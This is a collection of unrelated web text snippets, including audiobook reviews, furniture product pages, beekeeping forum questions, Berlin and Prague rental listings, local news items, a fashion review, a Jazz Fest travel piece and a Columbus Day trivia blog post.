The author has a tendency to linger on, and up-play the dramatic value of the day of his "capture". It would have been more interesting to hear more about the news making/editing processes.
Ann Coulter is nice -- then again, you probably have to be to keep a successful TV career up.
A fun and worthwhile listen.
"I wish it had been more hard hitting"
Well written, fun to read, but he still obviously had some ambivalence about Fox News and Bill OReilly. Oh well, he was young. I wish him well. I hope he's found another job by now.
"not a complete waste of time"
publish in Vanity Fair
publish in Vanity Fair
does he have any other performances?
movie, of course: some young actors with whom i am not familiar
self-serving account of another disloyal person on a minor scale but in the same tradition as bradley manning and our buddy snowden. and i hate fox news but this guy is no one to emulate. sorry i contributed $.
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text:
Tivoli Long Console Table
- Overview
Our Tivoli Console brings both beauty and utility to busy family spaces. Its long, turned spindle legs, deep overhanging top and graceful profile are reminiscent of European country furniture; its six drawers are perfect for storing small items.
- Tuscan Chestnut finish is built from pine, particleboard, pine veneer, and rubber wood; Artisanal Black finish is built from rubber wood, particleboard, MDF and oak veneer.
- English dovetailed drawers open smoothly on waxed wood glides, and feature drawer stops for safety.
- Handcrafted with kiln-dried turned-hardwood spindle legs and a deep overhanging top.
- Six dovetailed drawers offer organized storage for small items.
- Imported.
- Adjustable levelers to add stability on uneven floors.
- Simple assembly required.
- Dimensions & Care
- Overall: 84.5" wide x 17" deep x 30.5" high
- Top: 84.5" wide x 17" deep x 1" thick
- Drawer Interior (6): 8.5" wide x 12" deep x 2" high
- Clearance Under Table: 24.5"
- Distance Between Legs: 35" side to side; 11" front to back
- Maximum Weight Capacity (top): 275 pounds
- Drawer weight capacity: 25 pounds
- Weight: 85 pounds
- Dust often with a soft, dry cloth.
- Wipe spills immediately.
- Do not use abrasive or harsh chemicals as this may damage the finish.
- Shipping & Return Info
UPS can deliver most in-stock items within 4-5 business days.
Next Day Delivery and Processing
We can arrange for next day delivery to most destinations within the contiguous 48 states, for an extra charge of $17.50 per address. If we receive your order by 6pm PT Monday through Friday, you'll receive your order the next business day; orders placed on Friday after 6pm PT through Sunday will arrive on Tuesday. Note: Next Day Delivery service is not available for some oversized items, White Glove Delivery, out of stock items, personalized items or for items shipped directly from the manufacturer.
Select oversized items have an additional delivery and processing surcharge; this charge is listed below the item price.
View the complete Shipping and Delivery Information page.
We take great pride in the quality and craftsmanship of each and every Pottery Barn product and we hope you love your purchase. If for any reason you do not, you have 30 days – or 7 days for all Quick Ship upholstery items – to return your purchase for a full refund or exchange. You can return most non-furniture items to your local Pottery Barn store – FREE.
Delivery fees are non-refundable and prior purchases are not eligible for a price adjustment. The following items are non-eligible for returns or exchanges:
- Monogrammed items
- Mattresses
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- Special-order items (including made-to-order upholstery and custom order rugs)
- Final Sale items (identified by a price ending in $.X7 or $.X9)
- Items damaged through normal wear and tear.
Questions? See our full Returns Policy.
You May Also Need
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text:
I have two hives at a particular location. One hive seems to be doing well...the queen is busy laying a good solid pattern and the workers seem to be happily distracted by their work. But I have a capped supercedure cell in this hive. This hive was recently (2-3 weeks ago) been requeened due to a missing queen.
In the neighboring hive I have apparently now lost my queen, and I think I have a laying worker since all the capped brood appears to be drones and the only eggs I found were in queen cells with 2-3 eggs in each. I am reluctant to requeen since these two hives seem to be a bit problematic, and I received them as nucs late in the season. The beekeeper I got them from apparently had some trouble requeening the swarms she put in them. So...
Could I take the frame with the supercedure cell, which is also full of capped brood, and give that to the queenless hive? Or would I be better off trying to combine these two hives? Or is it worth requeening? If I don't give the capped queen cell to the queenless hive, should I destroy it, or just let them do their thing?
Thanks for any advice.


text: I think decent QB are a lot easier to find now than 10-15 years ago. I doubt we'll get someone like Eli, but i'm sure he will be replaced by a formidable QB. It's the team that gets built around the QB that doesn't necessarily worry me. We have a good GM that will replace our incompetent coaches soon.


text:
PAC hosts guest speaker
The Patriot Athletic Club (PAC) sponsored a guest speaker Monday, July 29, at the annual high school fall sports meeting at Eagle View Elementary School. The topic was sportsmanship.
Kate Dale, PAC board member and Pequot Lakes coach, explained that PAC is a nonprofit organization that was organized in 1988 and provides financial and volunteer support to Pequot Lakes School athletics, arts and activities. In the past 20 years, PAC had provided more than $100,000 in support to these programs.
Dale also alerted everyone that the upcoming coupon book sale benefits PAC and will be available soon.
Dale introduced guest speaker Ken Miller, the associate executive director and junior coordinator for the four-state North Country Region, USA Volleyball. Miller is in his ninth season as an assistant coach with Central Lakes College volleyball.
He spoke to the importance of sportsmanship in youth sports. Miller outlined the various roles of participants at sporting events: spectators, coaches, players, opponents and referees. He explained that the key to creating an enjoyable experience for everyone is respect. All participants must respect the other participants, regardless of their role.
Miller encouraged everyone to remember that sports are supposed to be fun — for everyone (spectators, coaches, players and referees). He reminded the audience that "the easiest place to play, coach and officiate is from the stands."
Miller reiterated that being an official isn't easy. He reminded both players and parents that making a call typically isn't black and white. It's a gray area.
"Do they make mistakes? Yes. Is there instant replay in high school sports? No. So there isn't a lot we can do about it except to move on. It's still just a game," Miller said. "Winning at all costs minimizes the big picture of the benefits of youth sports."
Miller visited with several colleagues in the youth sports sector before addressing the audience. When asked what they remember most about their own school sports experiences, many responded feeling regretful about instances when they themselves acted poorly on the field, court, etc.
In closing, Miller stressed that what is important is not whether you win or lose, but how you win or lose. That's what defines the reputation of a program.
With the opening of the new sports facility in Pequot Lakes, he encouraged spectators, players and coaches alike to make it an enjoyable experience for the opponent.
PAC is actively seeking new members to help coordinate and structure all of the activities it supports.
Meetings are open to everyone and take place on the second Monday of each month at the high school.
Contact Kate Dale at 218-251-2750 for more information.


text:
Stylish Apartment in Centre (Apt. 7)
Size55 m²
Floor No.6(with elevator)
- Family/child friendly
- Kitchen
- Parking available
- Elevator in building
- Internet/WiFi
- Towels
- Washer/dryer
Accommodation summary
|Heinrich-Heine-Straße, 10179 Berlin, Germany
|Property type
|Property ID
|Acceptance rate
|Response time
|A few hours
|Calendar updated
You'll have your own parking space right at the building for 70€ per month (on demand). Living area with large window front (great view for small children too, because the windows extend down to the floor). There are 2 bedrooms (2 rooms with a double bed). A fully equipped kitchen so you can prepare your meals. Bathroom (bath/WC) with large mirror and hairdryer. Free, fast WLAN. Every guest will receive a free pair of cosy, disposable slippers. Bath and hand towels, organic soap and washing up liquid, toilet paper. Ironing board and iron (on demand).
Your apartment is located in the city centre in the 'Mitte' district. Alexanderplatz, the government quarter, the beautiful boulevard 'Unter den Linden' with the State Opera, the Brandenburg Gate, and the Museum Island are easy to reach from here. You will live close to many sights and attractions that Berlin offers.
The apartment is on the 6th floor.
The underground station U8 Heinrich-Heine-Strasse (direct connections to Alexanderplatz, Rosenthaler Platz, Kottbusser Tor) is located in the immediate vicinity of the building. You can walk to Alexanderplatz in 10 minutes and can still live in a quiet area.
It is easy to reach the apartment by car and your own, free parking space is right at the building. You can reach the following stations on foot within 2-5 minutes: U2 Märkisches Museum (direct connection to Potsdamer Platz, Alexanderplatz). S Jannowitzbrücke (direct connection to Hauptbahnhof, Friedrichstrasse, Ostbahnhof, Hackescher Markt).
The apartment is located in a quiet, family-friendly neighbourhood. You can relax here in peace after a long outing to discover the capital city. Shopping (supermarket, baker, late-night shopping) is located just around the corner and is marked clearly on a map of the surroundings in the apartment.
More activities in the immediate vicinity: children's playground; parking facility; restaurants; cafés; clubs (Tresor, Watergate, Berghain); bars.
We speak German, English, Spanish, and Russian. Personal welcome on your arrival day. Contact us 24 hours a day. You are on holiday; let us do the work. Final cleaning is included.
We look forward to hearing from you. :)
House rulesWe ask for an advance deposit of 250 euros. We will reimburse the deposit right after your stay if there weren't any damages nor noise disturbances. Families with small children live in this building. Please keep quiet after 10 pm.
The apartment is a no-smoking area. We offer peace and quiet in the city, for you and our neighbours. For this reason, parties or noise are not welcome.
|Monthly rate for up to 2 guests
|Maximum nights
|6 months
|Check-in after
|Check-in before
|On arrangement
|Check-out before
|Cancellation Policy
Reviews for this host's other properties
A great apartment!
Eine super Wohnung!
Perfect apartment close to the U-bahn. Is us (couple with 2 children) liked.
Prima appartement vlak bij de U-bahn. Is ons (stel met 2 kinderen) goed bevallen.
Highly recommended: Frictionless and professional coordination in the run, friendly and punctual delivery. Clean and simply furnished apartment, parquet-sealed, even in the two-bedroom floor dust and no carpet, kitchen well stocked, even with permanent filter open for tea. Very good location with subway station across the street and close to Alexanderplatz. The nights were low in interfering house and road noise.
Sehr zu empfehlen:
Reibungsfreie und professionelle Koordination im Vorfeld, pünktliche und freundliche Übergabe.
Saubere und solide eingerichtete Wohnung, Parkett frisch versiegelt, auch in den beiden Schlafzimmern Parkett und kein Teppichstaub; Küche gut bestückt, sogar mit Dauerfilter für offenen Tee.
Lage sehr gut mit U-Bahn-Station über der Straße und Nähe zu Alexanderplatz.
Die Nächte waren arm an störenden Haus- und Straßengeräuschen.
all was well,good appartment, good place, well equiped, near U bahn,
like to visist again
Nice, clean, modern apartment equipped with everything you need for a weekend in Berlin. For 5-6 people it is very good, the location is also good.
Schöne, saubere, moderne Wohnung mit allem ausgestattet was man für ein Wochenende in Berlin braucht. Für 5-6 Personen ist sie sehr gut geeignet, die Lage ist ebenfalls gut.
Prima location, good facilities, great view, reception and transfer have worked without problems! Gladly again!
Prima gelegen, gute Ausstattung, toller Ausblick, Empfang und Übergabe haben problemlos geklappt!
Gerne wieder!
Apartment very comfortable and functional. Very clean and all new. Perfect location, next to the S Bahn and 1 stop from Alexanderplatz. All great
Apartamento muy cómodo y funcional.
Muy limpio y con todo nuevo.
Situación perfecta, al lado del S BAHN y a 1 parada de Alexanderplatz.
fantastic apartment and very conveniently located next to the U-bahn and shops / restaurants
fantastisch appartement en zeer gunstig gelegen naast de U-bahn en winkels/restaurants
wow! great location. few steps to the U-Bahn. 2 minutes to the S-Bahn. no dangerous area. cozy apartment. very clean. perfect host agency. thank you very much! well-equipped kitchen!
All were very happy. In the summer, we are back.
Alle waren sehr zufrieden. Im Sommer sind wir wieder da.
- Quality assured accommodation
- Every host is verified by telephone
- Secure payment via SSL encryption


text:
A 17-year-old woman seriously injured in a three car collision in Waikato last week has died overnight.
The woman was a passenger in a Suzuki Swift heading west along State Highway 23 near Whatawhata which collided with an oncoming Nissan Bluebird shortly before 10pm on Thursday.
The driver of a Hyundai Sonata following the Suzuki managed to break and avert all but a minor collision with the rear of the Swift.
Police believe the Nissan Bluebird crossed the centre line, smashing head-on with the Suzuki.
The female driver of the Suzuki and a passenger in her car were both taken to Waikato Hospital by ambulance with serious injuries.
The passenger was later flown to hospital in Auckland for surgery.
Police said driver remains in a critical but stable condition in Waikato Hospital, however the 17-year-old female passenger died in Auckland overnight.
The driver of the Nissan suffered serious leg injuries in the crash.
Police said an investigation by the Waikato Serious Crash Unit is continuing this week, with investigators awaiting the results of toxicology tests to determine if alcohol played a part in the crash.
- nzherald.co.nz


text:
The hypothetical question: Do bees orient more about North-South, arrangement of landmarks, or left-right?
The real life situation: I had a group of eight nucs that I needed to move about 50 yards while rotating about 180 degrees. I had a few choices. 1)Keep them in the same order, left to right. This choice would place the southern box in the northern position, and so forth. 2)I could move the nucs directly across the space, which would reverse the order, but keep the northern one the furthest north, and so forth. 3)About the arrangement of landmarks, I tried to keep the things around the nucs in the same relationship to them so that the bees would have as many visual cues as possible to prevent drifting.


text:
Narciso Rodriguez Spring 2012
Narciso Rodriguez has been considering the work of Korean artist Kim Joon, whose exploration of graphic print (of the tattooed variety, mostly) and its placement on the body proved to be an intriguing source of inspiration for his Spring 2012 collection. Rodriguez's ability to take whatever piques his interest from the contemporary landscape—radical architecture, perhaps, or high-tech sneakers, or, as here, an artist with an original and startling perspective on the human form—quite literally and then morph that into his own language of rigorously forward-thinking design is commendable; he's not one for the historical gesture, the retro reference, the liberal appropriation of fashion's past passed off as something new. This is all to the good, and in many respects, this collection followed suit.
You don't really need to know about Joon to appreciate the beauty and refinement of some of the dresses that Rodriguez showed Tuesday night, pieced together from what he has taken to calling shards; fragments of jacquard velvet or satin devoré or printed kimono silk in silver, or citrine, or aqua, pieced together so that the dresses created patterns of their own when they moved. Many of them had that new hem length that's been sighted pretty much everywhere this past week—which is, in fact, actually many, many lengths, dipping and swooping as if the dress (or skirt) itself is suffering from ADHD and can't quite settle on where it wants to fall. Rodriguez's less complicated versions were really rather elegant though, the plurality of lengths creating a kind of delicious discordance.
That, however, wasn't the only discordance. Sometimes, in articulating his vision, it felt that some of Rodriguez's looks jarred, not all quite belonging together. And in a few rare instances, the appeal waned. One white cotton shirtdress, banded with black, aqua and silver, looked like it simply had too much going on silhouette-wise: all that volume, all those folds, fighting against each other and nothing emerging victorious. Beyond this, though, there is one other salient point to grasp; bravo to Rodriguez for being one of the few, few New York designers to have shown thus far who has bothered to address the idea of what a woman could wear for urban life that doesn't also suggest she might be in training for the 2012 Olympics. His idea of athletic sportiness is much more winning: a lean, longer-line collarless jacket contrasted with a fluid skirt or soft pants, the latter perhaps with his new folded and banded decorative waistband. These weren't about artistic inspiration, but Rodriguez looking inwards, and answering the call to make clothes that can simply enhance women's lives.
For a full profile and more information on Narciso Rodriguez, go to Voguepedia.com.


text:
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text:
Town Square
The County has a new PR rep and the silence is deafening!
Original post made by Hal Bailey, Alamo, on May 4, 2007
Have you noticed? Ms. Laura Garcia Darensburg, CCC's new PR and Media Rep, has been on the job for more than a month and there has been little news, commentary or any other output from the county and its districts and departments. Where is the promised open flow of county communication that was going keep Contra Costans better informed of county actions and services to communities, neighborhoods and residents?


text:
The wire mesh that is over the ventilation holes now (and even what was there prior though it was plastic) I guess I should have referred to as 'screen' (like what you would use for windows) forgive me for giving the impression that it was a hard-wire cloth type 'mesh' that I was speaking of.
As for SHB being able to do the the damage that was done, I have no proof one way or the other but find it hard to believe that they were the cause of all of this. There wasn't any sign of them when I inspected the hive prior to leaving. That means that in about 5 weeks time, they got in, bred, laid eggs, hatched, larva came out, ate over 3/4" of the hives food, leaving behind no slime or signs that they had been in there. Then the bees (which there were now fewer of?) cleaned everything up so that when I got back the only thing I would see was dry combs and bits and pieces of comb on the bottom of the hive.
Not every piece of comb was chewed through either, just some random spots on various combs.
As I said I have no idea what happen. It could have been a series of events that caused it, it could have been one massive event, it could have been the dearth combined with pests or robbing I don't know.
As I said at this point I'm just sharing the experience in case this or something similar happens to someone else.
Oh and I don't play with propane torches, you know how people that live in glass houses should throw stones, well I live in a log home so don't play with fire!


text:
Chrisophe Floodstrom orchestrated his fraternity Phi Kappa Psi Wisconsin
Gamma to build a pyramid consisting of 18 people.
Stride's setting 100 records in 100 days. At the end of 100 days, we'll
verify if you are the standing Record Holder. If you are, you'll get
$500 for each record you managed to hold with your guile, talent, and
sheer will.
General caution and common sense required. We show the Stride Team at
work, but recommend that these challenges be done at home.
By clicking "create account", you agree that you've read and understand the
Terms of Use


text:
Pulaski Technical College's spring break will take place March 24-29
Campus offices will be open Monday through Friday from 8 a.m. to 4:30 p.m., but no classes will be held. The Big Rock Bistro and Finish Line Café will abbreviate their hours to 7:30 a.m. - 2 p.m., and the PTC Bookstore 10 a.m. - 2 p.m., Monday - Friday. The campus will be closed on Saturday, March 29, and classes will resume on Monday, March 31.


text:
Hi Wil,,would like to know too,,bill bujton
Will -
What type of high speed camera / camcorder do you use to capture weapon cycling? Is it equipment that you keep around the shop or just something that was used for the show?
Brand and model would be really helpful if you happen to know.
Thanks for your help.
Hi Wil,,would like to know too,,bill bujton
A mod on another board posts a lot of slow-mo shooting videos. He uses a Casio Exelim EX FC100.
I have no idea , honestly have never been interested enough to even ask . Thats all Jupiter .
Will Hayden, RedJacket Firearms
I think I saw some high end digital HD camcorders that had a 6-800 frame per sec mode?? Somewhere, might even have been wally world, if I remember right they were about 5-550 ish?? on sale where ever it was I saw it. There was one other one they had that was about 150 more with a whole shitload of features that would keep me busy for a bit, I've seen a couple that some people used to film a couple of segments with us for Vt journal, Vt+NH fish and wildlife and a couple others,those things they have are incredible and are multiple thousands of $ to buy and they get used for outdoor hunting and fishing programs so they can take abuse too. I've got a couple friends I asked about cameras awhile back and that was kinda what I want too. They both said it would take about 1200-1500 for something that will do almost anything that anyone would ever want to do with it other than a pro carrying all that stuff with the 2'-3' lens on them. I think I can find a bit better use for the $ than a camera rigth now.


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Size55 m²
Floor No.6(with elevator)
- Family/child friendly
- Kitchen
- Washer/dryer
- Parking available
- Disabled access
- Breakfast
- Elevator in building
Accommodation summary
|Vaclavske namesti, 110 00 Prague, Czech Republic
|Property type
|Property ID
|Acceptance rate
|Response time
|A few hours
|Calendar updated
There are 2 very similar apartments on the same building each 55 m2 total with bedroom with double bed (180 x 200 cm), living room with fully equipped kitchen with double sofa bed and a bathroom.
Apartment blends homely comforts such as fully equipped kitchen with Fridge with Freezer, Dishwasher, Cooker, Oven, Microwave, Coffee Maker, Kettle, Toaster, Pots & Pans, Plates & Glasses, Cutlery and all the necessary cooking utensils, entertainment centre, bedding and work area, with useful elements. As for attention and services the apartment is on level of a 3 star hotel. The apartment is suitable for short or extended stays and are on the 3rd or 6th floor with an elevator. Oriented - street & courtyard.
House rules24/7 Central Reception in the building under sign ,,APART HOTEL RECEPTION,,
KEY & DAMAGE DEPOSIT 50 EUR / 1000 CZK / 1 - 5 keys
refundable on check out
LATE CHECK OUT (on request):
until 3 p.m. / 15.00 hour 25 EUR
until 6 p.m. / 18.00 hour 40 EUR
CANCELLATION POLICY for NEW YEAR 28.12 - 3.1:
Less than 14 days prior to arrival: 100 % of whole stay amount
CLEANING: including change of towels and bed linen...
Final cleaning and cleaning every 4th day (11:00 a.m. - 7:00 p.m.)
Long stay reservation (2 weeks and more): cleaning weekly
Laundry service (1 bag max 6kg, till 24 hours): 15 EUR
We can arrange TAXI for you from the Airport or Railway station to the apartment. If you STAY MORE than 5 NIGHTS we can offer you 1 x free transfer or 1 night in garage.
UNDERGROUND SAFETY GARAGE just in the building. Price 25 EUR / night.(parking space is limited: length = 5000mm, width=2050mm, height = 1900mm, max weight = 2500kg)
Children under 12 years: free of charge
Breakfast: 7 EUR / person
Air-conditioning: free of charge, for discounted stays we charge 5 EUR / night
Christmas Tree + set up: 60 EUR, incl. christmas decorations
Luggage room: free of charge
Pets are allowed on request: free of charge
|Weekly rate for up to 2 guests
|Monthly rate for up to 2 guests
|Price for > 2 guests
|28 NZ$ per guest/night extra
|Check-in after
|Check-in before
|On arrangement
|Check-out before
|Cancellation Policy
Reviews for this host's other properties
This is my first time using WIMDU and my LAST ONE.
I use to travel a lot and always using apartments instead of hotels.
Last trips I always used Airb&b (to give an example, only last year i rented a house in México an other in London), but I have also tried other webs or directly through the flats owners (Baqueira for skying, Sevilla, etc) directly and never had any problem.
In this ocassion everything was a dissaster.
1. They didnt give me the appartment i did book. They said they had several in the same location and depends in disponibility. False. I booked a particular flat and i expected to be hosted in that flat. I complained as soon as I saw it but did change me. I said, ok, I want to cancel and they didn´t want to give me my money back. They only offer a disccount of 20%, but that was not a solution.
Therefore I was forced to spend three days in an apppartment I would not have rented never. It was a FRAUD. Otherwise they would have let me cancel it. Thats whay they mix pictures of diferent appartements and afterwards they give you another thing.
2. The appartment was not clean. The bed was very noisy.The sheets were smaller than the bed. Same for the comforter. The kitchen was not very well equiped. The bathroom didnt have at least a bit of shampoo or soap, at least for the first day.
3. There was a distance about 15 minutes walk between the reception, where you pick up the keys, and the studio.
4. You dont deal directly with the owner. Its like a kind of agency.
Only things good were Location and WIFI (it worked perfect).
As i said, if they would have allowed me to cancel the reservation I could have understood that it was a mmisunderstanding, but since they didnt its clear a FRAUD.
I will never book again in WIMDU if they have flat owners like this. And of course i would share this horrible experience with all my friends, the ones know Airb&b beacause I recommended to them.
Mario Vicente
It was perfect, specially the location, we couldn't choose a better location in prague, 5minutes walkin from any interesting point. Check-in is done by a reception, so we didn't meet the owners. We didn't have any problem, in fact they were very kind, but it is just a point to take into account.
Friendly and hopeful host! Had a great time in Prag. Clean and well-recourced apartment.
Large and fully equipped apartment the center of Prague. Great location. Big plus: a spacious terrace. In short, highly recommended.
Groot en van alle gemakken voorzien appartement hartje centrum van Praag. Geweldige locatie. Groot pluspunt: een ruim terras. Kortom: warm aanbevolen.
Apartment very well located within walking distance of everything, with a great terrace !!! Parking in the building and plenty of restaurants to choose from. Book again without hesitation !!!
Apartamento muy bien situado a pocos pasos de todo, con una terraza estupenda!!! Aparcamiento en el mismo edificio y un montón de restaurantes donde elegir. Volveríamos a reservar sin dudarlo!!!
The apartment is in a great location on Wenceslas Square, has an underground car park, is perfectly decorated. One can only positively assessed.
highly recommended. Peter
Das Apartment ist in einer super Lage auf dem Wenzelsplatz, hat eine Tiefgarage, ist perfekt eingerichtet. Man kann nur positiv beurteilen.
Sehr empfehlenswert. Peter
Elegant room, that looked even better than in the pictures.
* NOT facing the street (which is a plus, given the super central and noisy location).
* I tried to book on a very short notice (1 day before the arrival in Prague) and I got a reply less than one hour later.
* this is not really a cons, but maybe worth to mention. In the bathroom there were only two rolls of toilette papers (which is not that much for a 4 nights of staying). So we got more toilette papers and other basic stuff for breakfast at the Albert supermarket (in the nearby Palladium Shopping Center).
Perfect Apartment !!!!! The location is unbeatable! You can walk to everything within a few minutes! Just outside the front door there is a small supermarket next to catch even the bars to-simply divine for young people, the middle of it want to be !!! The rooms in the apartment are exactly like in the pictures only they act in real yet größer.Es was clean and the kitchen fully equipped! particularly impressed me was the communication-had booked from home to transfer to the apartment which is much cheaper and less stressful than if we had been taken away from us a taxi! The same transfer there I then ordered for the return trip and also the 2nd time everything worked smoothly! Real great service! Highly Recommended !!!
Perfektes Apartment!!!!!Die Lage ist einfach unschlagbar!Man kann alles innerhalb von ein paar Minuten zu fuß erreichen!Direkt vor der Haustür hat man einen Mini Markt und daneben fangen schon die Bars an-einfach göttlich für junge Leute die mitten drin sein wollen!!!Die Zimmer im Apartment sind exakt wie auf den Bildern nur wirken sie in echt noch größer.Es war sauber und die Küche voll ausgestattet!Besonders begeistert hat mich die Kommunikation-habe von zuhause aus den Transfer zum Apartment gebucht was viel günstiger und stressfreier war als wenn wir uns ein taxi genommen hätten!Den selben Transfer hab ich dort dann für die Rückfahrt geordert und auch das 2.Mal hat alles reibungslos funktioniert!Echt toller Service!Absolut empfehlenswert!!!
Good location. Few minutes walk from the square and next to a metro line which was great for getting around and to and from the airport. Apartment clean and very nice. The balcony was great giving views across to the Castle.
Very small negative was that as we were only there 2 nights we did not take any shampoo etc. which was not provided. Not really a problem.
So, single I can appreciate with grade 1, is the location, everything else is easy unbefridiegend (elevator was not working, very dirty in the stairway, toilet and bathroom are also dirty, it stinckte all the time in the apartment. The door locks are not reliable ((((
Well we survived the 3 days but I would not recommend this apartment (
Also, einzelnes was ich mit Note 1 schätzen kann, ist die Lage, alles anderes ist einfach unbefridiegend( Fahrstuhl funktionierte nicht, sehr schmutzig im Treppenhaus, Toilette und Bad sind auch schmutzig, es stinckte die ganze Zeit in der Wohnung. Die Türschlösser sind nicht zuverlässig((((
Na ja 3 Tagen haben wir das überstanden aber ich würde das Apartment nicht weiterempfehlen(
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Lee Gallery Frames
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Please Select:
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- Overview
These casual and contemporary frames with an included mat are a wonderful way to showcase special photos.
- Frame is crafted of aluminum with a brushed Antique Pewter finish.
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- 8.5" wide x 10.5" high (holds a 4" x 6" photo)
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- Dust frame with a soft dry cloth; avoid household cleaners and abrasives.
- To clean glass, spray a small amount of glass cleaner onto a lint-free cloth and wipe glass clean.
- Shipping & Return Info
UPS can deliver most in-stock items within 4-5 business days.
Next Day Delivery and Processing
We can arrange for next day delivery to most destinations within the contiguous 48 states, for an extra charge of $17.50 per address. If we receive your order by 6pm PT Monday through Friday, you'll receive your order the next business day; orders placed on Friday after 6pm PT through Sunday will arrive on Tuesday. Note: Next Day Delivery service is not available for some oversized items, White Glove Delivery, out of stock items, personalized items or for items shipped directly from the manufacturer.
Select oversized items have an additional delivery and processing surcharge; this charge is listed below the item price.
View the complete Shipping and Delivery Information page.
We take great pride in the quality and craftsmanship of each and every Pottery Barn product and we hope you love your purchase. If for any reason you do not, you have 30 days – or 7 days for all Quick Ship upholstery items – to return your purchase for a full refund or exchange. You can return most non-furniture items to your local Pottery Barn store – FREE.
Delivery fees are non-refundable and prior purchases are not eligible for a price adjustment. The following items are non-eligible for returns or exchanges:
- Monogrammed items
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- Final Sale items (identified by a price ending in $.X7 or $.X9)
- Items damaged through normal wear and tear.
Questions? See our full Returns Policy.


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Our Artfire Store is closed (please feel free to visit with us on Facebook, Etsy, and of course our regular website at JLynnJewels.com)
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Portraits of Grief in Afghanistan — What's in a Name?
Posted by Kirsten Moller in Featured, Peace, Democracy and Human Rights, Stop Funding War on 22nd March, 2012 | 3 Comments
For the past two weeks as we've grappled with the horror of the massacre in the Kandahar province, I've been dismayed at the focus of the mainstream press. The press seems to be focusing almost entirely on the mind-set of Sgt Bales and the effect of the massacre on US/Afghan relations without much mention of the actual victims who were all Afghan citizens, including nine children.
Read More...


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HERE THEY COME! Big Chief Monk Boudreaux & the Golden Eagles are one of the more venerable Mardis Gras Indian tribes.
"Is much better! The tourists is coming back!" That was our cab driver from Louis Armstrong Airport into New Orleans — a transplanted Haitian from Jefferson Parish. But the signals were mixed during the first of the 39th annual New Orleans Jazz & Heritage Festival's two weekends (April 25-27 and May 1-4). At the chic bistro Herbsaint, our waiter, a transplanted New Yorker who's lived in the city for 10 years, said he and his fiancée have been telling each other ever since Katrina, "We have to get out of here." He's studying to be a trauma nurse, she's a graduate student in education. A house that would have cost them $95,000 before the hurricane would run them $265,000 now. And the city's long-time chronic problems would be the most dispiriting for anyone in their professions: for her, widespread illiteracy, and for him, "Most of the traumas we see are gunshot wounds."
In a way, it's the same old story for New Orleans — every day, it seems, another murder. On Saturday, the Times-Picayune reported three people shot in a home invasion about eight blocks from the Fair Grounds Race Course, where the festival is held. It was termed a "targeted attack" — masked gunmen dressed in black, leaving two dead at the scene, wounding another who died later at a local hospital. They were the 62nd, 63rd, and 64th murders in the city this year (compared with 20 in Boston as of April 21).
There are, of course, the signs of improvement. The Lower Ninth Ward, which took heavy damage from the breach in the Industrial Canal flood wall, is virtually wiped out — former neighborhoods now nothing but weed-grown lots, with only a few signs of rebuilding. The Upper Ninth is faring better, buoyed most of all by Habitat for Humanity's Musicians' Village, several dozen shotgun-style homes in bright Caribbean colors on neat plots, rockers on the front porch, rosebushes facing the lawn. A new street — and more houses — are under construction. And around the Village, there are more signs of renovation. But for every home that looked pretty as a French Quarter postcard, there were two that were collapsed or abandoned, the tic-tac-toe spray-painted codes of the Katrina rescue workers still visible.
In the Central Business District adjacent to the Quarter, one sees fewer boarded-up buildings and more construction. The Footlocker at Canal at Bourbon Street — which was boarded up the year after the storm, and where my wife and I watched the To Be Continued Brass Band play a great set — is up and running. (And though we didn't see the TBCs this year, they had taped a cardboard sign to the store's side.) The Quarter, of course, looks to be thriving — the one indicator that the city is still suffering from a lack of a resident workforce is that late-night spots like Coops and the Clover Grill aren't back to their former all-night hours. Across Canal, in the Central Business District, the Donald has signs up in the lot down Poydras Street from the venerable Le Pavillon hotel for a new Trump International Hotel & Tower.
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Phone: 803-777-3854
Fax: 803-777-2296
The Office of Equal Opportunity Programs (EOP) is directed by Mr. Bobby Gist, Executive Assistant to the President for Equal Opportunity Programs. The mission of EOP is to ensure that applicants for employment, employees, and prospective and enrolled students of the University of South Carolina are protected against discrimination.
The University of South Carolina does not discriminate in educational or employment opportunities or decisions for qualified persons on the basis of race, color, religion, sex, national origin, age, disability, sexual orientation or veteran status.


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Happy Columbus Day! Hope you're enjoying the Long Weekend. Also hope you have today off — but we realize that many folks do and a fair amount don't. Some offices recognize the day while others… well, if you're sitting at work I'm not going to rub it in. What you might not know however, is that Columbus Day is celebrated in extremely different fashions across the country. Thus, if you do happen to be stuck at work wondering why so many people had the foresight to "call in sick" on a long weekend, here's some trivia with which to quiz your coworkers. I took the liberty of doing a little research here, and since you may be doubly frustrated without any mail or banks open to do business in, here are some curious facts you can ask your pals about to see who's up on holiday trivia. First of all – you can start by asking everyone: which three US states do not recognize the term Columbus Day? The answer is Hawaii, South Dakota and Nevada. If anyone gets that right (and it doesn't count if you live in one of these states) you should feel free to make them elaborate; ask them what it is they DO call the day the rest of us call Columbus Day. If stumped, you can wisely remark that anyone we might know in Honolulu is celebrating Discoverer's Day today. Meanwhile, if you have friends or family in South Dakota, you might want to email them and wish them a happy, healthy Native American Day. That said, if you've got Nevada on your mind, you should know that the folks in Sin City don't call it Columbus Day (or anything else for that matter). They "observe" it in some regions, but it's still not a state holiday. Go figure. Now here's another little bit of trivia for you. If you happen to be reading this blog from the US Virgin Islands, then you're well aware that today you're relaxing at home on account of it being Puerto Rico-Virgin Islands Friendship Day. Who knew? And how's that for something that just rolls off the tongue? So there you have some fun facts that just might add levity to a day that's not as much of an across-the-boards holiday as we might like to think. Not that this will stop every major department store in the country from having a super-duper blowout sale. And if you do find yourselves patronizing a mall, you should also know that The Social Network – more than likely playing there – is again the #1 movie in America, enjoying ridiculous word of mouth. I suspect no matter what US state they may be in, Jesse Eisenberg, Justin Timberlake and Andrew Garfield are having a pretty good holiday. Nor were Katherine Heigl, Josh Duhamel or Secretariat able to wrestle that top box office spot away from the Facebook gang. They still placed and showed as they say at the races, and all movies are expecting an additional bump on account of the holiday, so we'll know for sure about who really really liked what on Tuesday morning. Then in the next few weeks I will be asking you to weigh in on some of the new movies that are currently on the Remake Track — since we've gotten some pretty entertaining reports about the current pipeline (e.g. we know about Footloose and Arthur, but how about Red Dawn, Short Circuit, Conan and The Crow — just to name a few?) More on that later. In the meantime, enjoy the holiday if you have one, and don't work too hard if you don't.
Leave a Comment
Marye says:
Hey: What is not to like about Columbus Day being a holiday?
